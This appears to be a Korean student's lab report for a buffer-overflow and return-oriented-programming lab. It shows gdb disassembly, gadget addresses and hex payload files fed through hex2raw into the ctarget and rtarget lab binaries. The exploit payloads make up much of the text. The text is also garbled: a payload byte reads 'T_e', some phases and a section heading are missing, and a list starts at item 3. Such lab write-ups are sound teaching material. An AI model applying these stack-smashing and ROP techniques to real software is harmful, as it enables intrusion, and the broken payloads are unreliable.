

SW Lab4 보고서

20180038

박형규

Phase 1.

먼저 getbuf 함수를 disas 명령어를 이용하여 살펴보면 아래 그림과 같다.

```
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x0000000000401808 <+0>:      sub    $0x28,%rsp
0x000000000040180c <+4>:      mov    %rsp,%rdi
0x000000000040180f <+7>:      callq 0x401a90 <Gets>
0x0000000000401814 <+12>:     mov    $0x1,%eax
0x0000000000401819 <+17>:     add    $0x28,%rsp
0x000000000040181d <+21>:     retq
End of assembler dump.
```

여기서 스택의 크기를 0x28, 즉 40만큼 늘리고 있는 것을 볼 수 있다. 이는 버퍼의 크기가 0x28임을 의미한다. Phase1을 통과하기 위해서는 스택의 return address에 touch1의 주소 값을 입력해야 한다. 따라서 disas를 이용하여 touch1을 찾아보면 아래 그림과 같다.

```
(gdb) disas touch1
Dump of assembler code for function touch1:
0x000000000040181e <+0>:      sub    $0x8,%rsp
0x0000000000401822 <+4>:      movl   $0x1,0x202cf0(%rip)      # 0x60451c <vlevel>
0x000000000040182c <+14>:     mov    $0x4030df,%edi
0x0000000000401831 <+19>:     callq 0x400ce0 <puts@plt>
0x0000000000401836 <+24>:     mov    $0x1,%edi
0x000000000040183b <+29>:     callq 0x401ceb <validate>
0x0000000000401840 <+34>:     mov    $0x0,%edi
```

따라서 touch1의 주소 값이 0x40181e라는 것을 알 수 있고, 따라서 버퍼에 0x28 바이트만큼 아무 값으로 버퍼를 채운 후 그 뒤에 0x40181e로 채워주면 touch1로 이동하게 된다. 이 때, x86은 little endian이므로 바이트 단위를 거꾸로 넣어 주어야 한다. 따라서 sol.txt에 정답을 아래와 같이 입력한다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
T_e 18 40 00 00 00 00 00
```

이제 이를 아래 명령어를 이용하여 정답을 입력하면

```
cat sol1.txt | ./hex2raw | ./ctarget -q
```







Phase 4.

phase4는 touch2를 rop기법을 사용하여 풀면 된다. cookie값과 동일한 값을 %edi로 주면 pass가 되는 것이다. 이를 풀기 위하여 먼저 start\_farm과 end\_farm 사이에 있는 함수들을 살펴본다. phase4를 해결하기 위하여 필요한 명령어는 pop %rax로 %rax에 stack의 head 값을 저장하고, 그 값을 %edi에 넘겨주면 된다. Read Me file을 참고하여 pop %rax의 명령어 코드를 살펴보면 58이고 return은 c3이다. 이제 start\_farm과 end\_farm사이에 있는 함수들 중 이를 포함한 함수를 살펴보니 아래와 같은 함수가 존재했다.

```
00000000004019fc <addval 297>:
4019fc: 8d 87 9e 23 58 90    lea    -0x6fa7dc62(%rdi),%eax
401a02: c3                  retq
```

여기서 58과 c3 사이에 있는 90은 nop으로 아무 명령도 하지 않는 명령어이다. 따라서 이를 이용하기 위하여  $0x4019fc + 0x4 = 0x401a00$ 을 주소값으로 활용하면 된다. 다음으로 mov %rax, %edi를 살펴 보니 48 89 c7이다. 이를 포함한 함수를 살펴 보니 아래 그림과 같은 함수가 존재했다.

```
0000000000401a10 <getval 420>:
401a10: b8 a7 48 89 c7      mov    $0xc78948a7,%eax
401a15: c3                  retq
```

이를 이용하기 위하여  $0x401a10 + 0x2 = 0x401a12$ 를 주소값으로 활용하면 된다. 이제 sol4.txt파일을 아래 그림과 같이 만들어 준다.



3. mov %eax, %esi
4. mov %rsp, %rdi
5. add\_xy
6. mov %rax, %rdi
7. touch3 address
8. cookie 문자열

먼저 제시된 gadget에서 pop %rax를 진행하는 명령어를 확인해보면 0x401a00에 위치한 58 90 c3가 있다. 그리고 offset 나중에 뒤의 과정을 모두 완료한 뒤 세기로 한다. 3번을 진행하기 위하여 pdf를 참고하였는데, %eax에서 %esi로 바로 이동하는 명령어는 주어진 gadget에 존재하지 않았다. 따라서 다른 register를 이용하여 건너뛰는 형식으로 진행하였는데 먼저 <setval\_291> 함수에 있는 89 c1을 이용하였다. 이는 movl %eax %ecx를 실행해준다. 이의 주소값은 0x401a3e이다. 이에 뒤이어 <addval\_410> 함수에 있는 89 ca를 이용하였다. 이는 movl %ecx %edx를 실행해준다. 이의 주소값은 0x401b01이다. 이에 뒤이어 <addval\_382> 함수에 있는 89 d6을 이용하였다. 이는 movl %edx %esi를 실행해준다. 이의 주소값은 0x401acb이다. 그리고 %rsp에서 %rdi로 옮기기 위하여 해당하는 명령어를 gadget에서 찾아봤지만 이 또한 존재하지 않았다. 따라서 이 명령도 여러 register를 건너가는 방식으로 해결하였다. 먼저 <getval\_122>함수에서 48 89 e0를 활용하였다. 이는 movq %rsp %rax를 실행해준다. 이 주소값은 0x401a95이다. 이에 뒤이어 <getval\_420> 함수에서 48 89 c7을 이용하였다. 이는 movq %rax %rdi를 실행해준다. 이 주소값은 0x401a12이다. 그 뒤에 5,6,7,8번을 순서대로 sol5.txt에 입력하면 아래와 같은 그림이다. 이 때, offset은 movq %rsp %rax부터 문자열의 위치 사이 간격인 0x20이다.

```

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 1a 40 00 00 00 00 00
20 00 00 00 00 00 00 00
3e 1a 40 00 00 00 00 00
01 1b 40 00 00 00 00 00
cb 1a 40 00 00 00 00 00

95 1a 40 00 00 00 00 00
12 1a 40 00 00 00 00 00
30 1a 40 00 00 00 00 00
12 1a 40 00 00 00 00 00

58 19 40 00 00 00 00 00
e1 34 34 35 63 35 34 34

```

이제 이를 아래 명령어를 이용하여 정답을 입력하면  
cat sol5.txt | ./hex2raw | ./rtarget -q

